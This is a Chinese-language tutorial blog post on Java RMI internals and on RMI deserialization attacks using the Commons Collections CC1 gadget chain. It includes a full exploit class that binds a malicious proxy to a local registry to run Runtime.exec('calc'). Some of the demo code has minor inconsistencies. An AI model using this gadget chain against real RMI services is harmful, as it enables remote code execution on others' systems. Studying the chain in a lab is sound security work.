zoukankan      html  css  js  c++  java
  • RMI反序列化

    一、RMI基础

    1、RMI定义

    要了解RMI原理,我们需要知道这个名词的含义和实际的意义是什么
    1)RMI
    RMI也叫远程方法调用,这里引用维基百科的定义

    Java RMI(Java Remote Method Invocation)是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。

    通俗的来说,java中我们在自己的主机上实例化一个类调用其内部的方法,而RMI可以在另一台主机上调用我们这台主机上实例的方法。遵循JRMP协议,相当于浏览器请求超文本时遵循HTTP协议。

    2、RMI原理

    1)、RMI架构

    java-rmi

    2)、RMI通信过程

    注意以下注册中心和服务端混用(注册中心相当于服务器上的mysql数据库一样),以register.lookup为例
    1、RMI服务端向注册中心发起查询,registry.lookup("xxx");
    2、Java会使用Stub代理,这一步调试是到了RegistryImpl_Stub.class中
    3、Stub代理会将Remote对象传递给引用层Remote Reference Layer,同时会创建java.rmi.server.RemoteCall(远程调用)对象,代码为super.ref.newCall(...)
    4、RemoteCall则会序列化RMI服务名称、Remote对象
    5、RMI客户端的远程引用层(sun.rmi.server.UnicastRef)传输RemoteCall序列化后的请求信息通过Socket连接的方式传输到RMI服务端的远程引用层。
    6、RMI服务端的远程引用层(sun.rmi.server.UnicastServerRef)收到请求会传递给Skeleton代理(sun.rmi.registry.RegistryImpl_Skel#dispatch)
    7、Skeleton调用RemoteCall反序列化RMI客户端传过来的信息
    8、Skeleton处理客户端请求:bind(list、lookup、rebind、unbind),如果是lookup则查找RMI服务名绑定的接口对象,序列化该对象并通过RemoteCall传输到客户端。
    9、RMI客户端反序列化服务端结果,获取远程对象的引用。
    10、RMI客户端调用远程方法,RMI服务端反射调用RMI服务实现类的对应方法并序列化执行结果返回给客户端。
    11、RMI客户端反序列化RMI远程方法调用结果。
    客户端发送调用栈1-5(有省略)

    newSocket:595, TCPEndpoint (sun.rmi.transport.tcp)
    createConnection:198, TCPChannel (sun.rmi.transport.tcp)
    newConnection:184, TCPChannel (sun.rmi.transport.tcp)
    newCall:322, UnicastRef (sun.rmi.server)
    lookup:-1, RegistryImpl_Stub (sun.rmi.registry)
    main:16, RMIClient (com.weblogictest.rmitest)
    

    服务端接收调用栈6-8(有省略)

    readObject:349, ObjectInputStream (java.io)
    dispatch:-1, RegistryImpl_Skel (sun.rmi.registry)
    oldDispatch:390, UnicastServerRef (sun.rmi.server)
    dispatch:248, UnicastServerRef (sun.rmi.server)
    run:159, Transport$1 (sun.rmi.transport)
    doPrivileged:-1, AccessController (java.security)
    serviceCall:155, Transport (sun.rmi.transport)
    handleMessages:535, TCPTransport (sun.rmi.transport.tcp)
    run0:790, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
    run:649, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
    runTask:895, ThreadPoolExecutor$Worker (java.util.concurrent)
    
    3)、RMI和注册中心Register

    1、注册中心原理
    这一部分单独提出来写是因为自己在学习RMI注入的过程中一直不明白注册中心和服务端是个什么关系,网上有一些文章总是说到利用RMI反序列化攻击注册中心,也有RMI攻击服务端,但是我自己思考的是注册中心不就在服务端吗,攻击注册中心和攻击服务端没什么两样啊。经过一些搜索,我找到并总结了这样的一个原理。
    RMI的注册中心是用来注册RMI服务端或客户端的对象,当我们需要调用远程对象时,就会使用lookup函数去注册中心查找,然后注册中心给我们该远程对象在服务端jvm虚拟机中的地址,我们从而能够实现对远程对象的调用,此时我们的调用就不再经过注册中心,而是直接和服务端的远程对象交互。这里给一个示意图

    4)、RMI通信的理解

    在第二部分中,我阐释了RMI通信过程的主要原理,但有一些隐含的知识没有提及。

    1、RMI通信过程从服务端到注册中心相当于服务端的web服务和mysql数据库的通信,只不过注册中心(也可叫注册表)需要和RMI服务端在同一主机上,这不同于mysql数据库可以做到站库分离。这一点很重要,对于理解后面RMI反序列化攻击的demo有很大意义。这里经过调试,客户端确实不能远程bind对象到注册中心,我们可以看一个demo。

    //注册中心放置在另一台主机上
    //导包
    ...
    //remote对象的实现细节省略
    
     Registry registry = LocateRegistry.getRegistry("112.74.173.93",1099);
     registry.bind("pwn",remote);
    //异常捕获
    

    执行结果如下图

    2、那么RMI最后和注册中心通信完会采用什么方式和服务端连接呢?相信如果有认真读就会发出这样的疑惑。我们用web应用作对比,客户端和mysql用一个jdbc协议,客户端和web端用http协议。那么RMI的客户端通过lookup获得了远程对象的属性后,我们可以称作是一个id,那么就可以直接通过这个id和远程对象利用socket通信,这里用的是TCP协议。这里我们同样实现一个demo(同RMI的实现)。一个注册中心,一个客户端lookup对象后利用获取的id对远程对象实现调用。

    这里给一个调用远程方法的调用栈,其中并没有用到Stub

    transform:365, InstrumentationImpl (sun.instrument)
    get:47, WeakClassHashMap (sun.rmi.server)
    getMethodHash:241, RemoteObjectInvocationHandler (java.rmi.server)
    invokeRemoteMethod:178, RemoteObjectInvocationHandler (java.rmi.server)
    invoke:132, RemoteObjectInvocationHandler (java.rmi.server)
    Demo:-1, $Proxy0 (com.sun.proxy)
    main:17, RMIClient (com.weblogictest.rmitest)
    

    3、RMI实现demo

    我们要创建一个RMI服务端和客户端之间的通信,都在本地同一台计算机上模拟。大致流程如下

    1)、创建接口

    创建一个接口,接口中实现给一个方法作展示,此处需要注意接口必须继承Remote,且所有方法必须抛出RemoteException

    /*InterfaceRemote.java*/
    package com.weblogictest.rmitest;
    import java.rmi.Remote;
    import java.rmi.RemoteException;
    public interface InterfaceRemote extends Remote{
        // 所有方法必须抛出RemoteException
    
        public String RmiDemo() throws RemoteException;
    }
    
    2)、实现接口

    实现该接口,此处需要注意实现接口的类必须继承UnicastRemoteObject
    RemoteDemo.java

    package com.weblogictest.rmitest;
    import java.rmi.RemoteException;
    import java.rmi.server.UnicastRemoteObject;
    public class RemoteDemo extends UnicastRemoteObject implements InterfaceRemote {
        protected RemoteDemo() throws RemoteException{
            super();
        }
        @Override
        public String Demo() throws RemoteException {
            System.out.println("RmiDemo..");
            return "Here is RmiDemo is achieved by Server ";
        }
    }
    
    3)、创建服务端

    创建一个RMI服务端,此处需要注意的是服务端和客户端需要有共同的接口
    /RMIServer.java/

    package com.weblogictest.rmitest;
    import java.rmi.AlreadyBoundException;
    import java.rmi.RemoteException;
    import java.rmi.registry.LocateRegistry;
    import java.rmi.registry.Registry;
    public class RMIServer {
        public static void main( String[] args )
        {
            try {
                Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
                registry.bind("demo",new RemoteDemo());
            } catch (RemoteException e) {
                e.printStackTrace();
            } catch (AlreadyBoundException e) {
                e.printStackTrace();
            }
        }
    }
    
    4)、创建客户端

    /RMIClient.java/

    package com.weblogictest.rmitest;
    import java.io.IOException;
    import java.rmi.NotBoundException;
    import java.rmi.registry.LocateRegistry;
    import java.rmi.registry.Registry;
    public class RMIClient {
        public static void main(String[] args) throws IOException {
            try {
                Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
                InterfaceRemote remoteDemo = (InterfaceRemote)registry.lookup("demo");
                System.out.println(remoteDemo.Demo());
            } catch (NotBoundException e) {
                e.printStackTrace();
            }
        }
    }
    
    5)创建注册中心

    创建一个注册中心,需要注意的是注册中心只能绑定1099端口,否则就会出错
    /RMIRegister .java/

    package com.weblogictest.rmitest;
            import java.io.IOException;
            import java.rmi.NotBoundException;
            import java.rmi.registry.LocateRegistry;
            import java.rmi.registry.Registry;
    public class RMIRegister {
        public static void main(String[] args) throws IOException {
            try {
                Registry registry = LocateRegistry.createRegistry("127.0.0.1",1099);
                System.out.println("Listening on 1099");
            } catch (NotBoundException e) {
                e.printStackTrace();
            }
            while (true);
        }
    }
    

    二、Common collections反序列化基础

    1、前言

    该部分前半部分网上已经有了较多分析,可以通过Common collections反序列化的关键词去检索。也可以看看我的这篇文章Common collections反序列化。这里简单对下面攻击要用到的cc1链payload做一个解析。

    2、Common collections分析

    1)、动态代理

    动态代理可以代理在不修改原来类的情况下,为原来的类的方法实现功能拓展。比如我们有一个第三方的类可以用来完成爬虫功能,但是我们想要在这个爬虫爬取功能开始之前向我们发送一个提示,爬取完后也增加一个提示。而这个爬虫是别人封装好的类,我们无法修改源码,就可以使用动态代理的方式为其完成这个拓展。
    CC链中动态代理的使用目的是为了将我们的map代理上AnnotationInvocationHandler,因为这个Handler里重写的readObject方法可以帮助我们实现反序列化。其实现代码如下

    //获取构造类
    Constructor<?> constructor = null;
    //反射获取sun.reflect.annotation.AnnotationInvocationHandler类
    constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
    //允许修改sun.reflect.annotation.AnnotationInvocationHandler类
    constructor.setAccessible(true);
    //创建InvocationHandler 实例,Proxy实例需要InvocationHandler 
    InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Override.class,tmpMap);
    //为map加上动态代理后加代理实例转换成Remote接口类,以便能实现RMI的功能
    Remote remote = Remote.class.cast(Proxy.newProxyInstance(RMIExploitClient.class.getClassLoader(), new Class[] {Remote.class}, invocationHandler));
    
    2)、触发

    本次的触发点主要是在sun.reflect.annotation.AnnotationInvocationHandler的readObject中,反序列化发生时会调用该链底层的invoke去执行命令。主要看看下一部分的整体调用流程即可

    3)、整体调用流程

    反序列化触发-->代理类中的InvocationHandler实例的重写readObject方法被触发-->readObject中checkSetvalue被执行-->放入InvocationHandler实例中的memberValue(即是Map)的setValue被执行-->chainedTransform被执行-->...最终到达命令执行的终点

    三、RMI反序列化攻击

    1、前言

    目前网上有很多利用RMI反序列化攻击的文章,可能是思路各不相同的原因,我觉得部分文章存在着误导性。我们已知,服务端和注册中心是在同一台主机上,那么利用RMI服务端攻击注册中心并没有实际的意义。所以我认为这部分仅仅是作为RMI反序列化利用链的参考。其次,RMI客户端能否攻击服务端,我们知道,只有使用register.lookup才能访问到注册中心,而注册中心会存在反序列化,但lookup传递的仅仅是一个字符串而已。所以,在RMI中利用客户端攻击注册中心,或者直接针对服务端攻击是不可行的,需要别的利用条件,这里暂且不谈。就用已有的例子来分析攻击思路。

    2、RMI服务端攻击注册中心

    1)、RMI反序列化攻击注册中心的实质是服务端bind远程对象到注册中心,从而该对象在注册中心反序列化引发RCE。我们改写服务端如下

    package com.weblogictest.rmitest;
    
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.map.TransformedMap;
    import java.lang.annotation.Target;
    import java.lang.reflect.*;
    import java.rmi.*;
    import java.rmi.registry.LocateRegistry;
    import java.rmi.registry.Registry;
    import java.util.HashMap;
    import java.util.Map;
    
    public class RMIExploitClient {
        public static void main(String[] args) {
            Transformer[] transformers = new Transformer[] {
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
            };
            Transformer transformer = new ChainedTransformer(transformers);
            Map innerMap = new HashMap();
            innerMap.put("value","sss");//左边的值必须要是value
            Map outputMap = TransformedMap.decorate(innerMap,null,transformer);
            try {
                Constructor<?> constructor = null;
                constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
                constructor.setAccessible(true);
                InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class,outputMap);
    
                Remote remote = Remote.class.cast(Proxy.newProxyInstance(RMIExploitClient.class.getClassLoader(), new Class[] {Remote.class}, invocationHandler));
                Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
                registry.bind("sa",remote);
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }
    

    2、我们启动注册中心,run一下服务端代码,如图:

  • 相关阅读:
    nyoj 115------城市平乱( dijkstra // bellman )
    nyoj-----284坦克大战(带权值的图搜索)
    nyoj-----42一笔画问题
    hdu-------1081To The Max
    nyoj------170网络的可靠性
    HDUOJ-------1052Tian Ji -- The Horse Racing(田忌赛马)
    初学Java之Pattern与Matcher类
    初学java之StringBuffer类的常用方法
    初学java之大数处理
    hdu---1024Max Sum Plus Plus(动态规划)
  • 原文地址:https://www.cnblogs.com/qianxinggz/p/13378822.html
Copyright © 2011-2022 走看看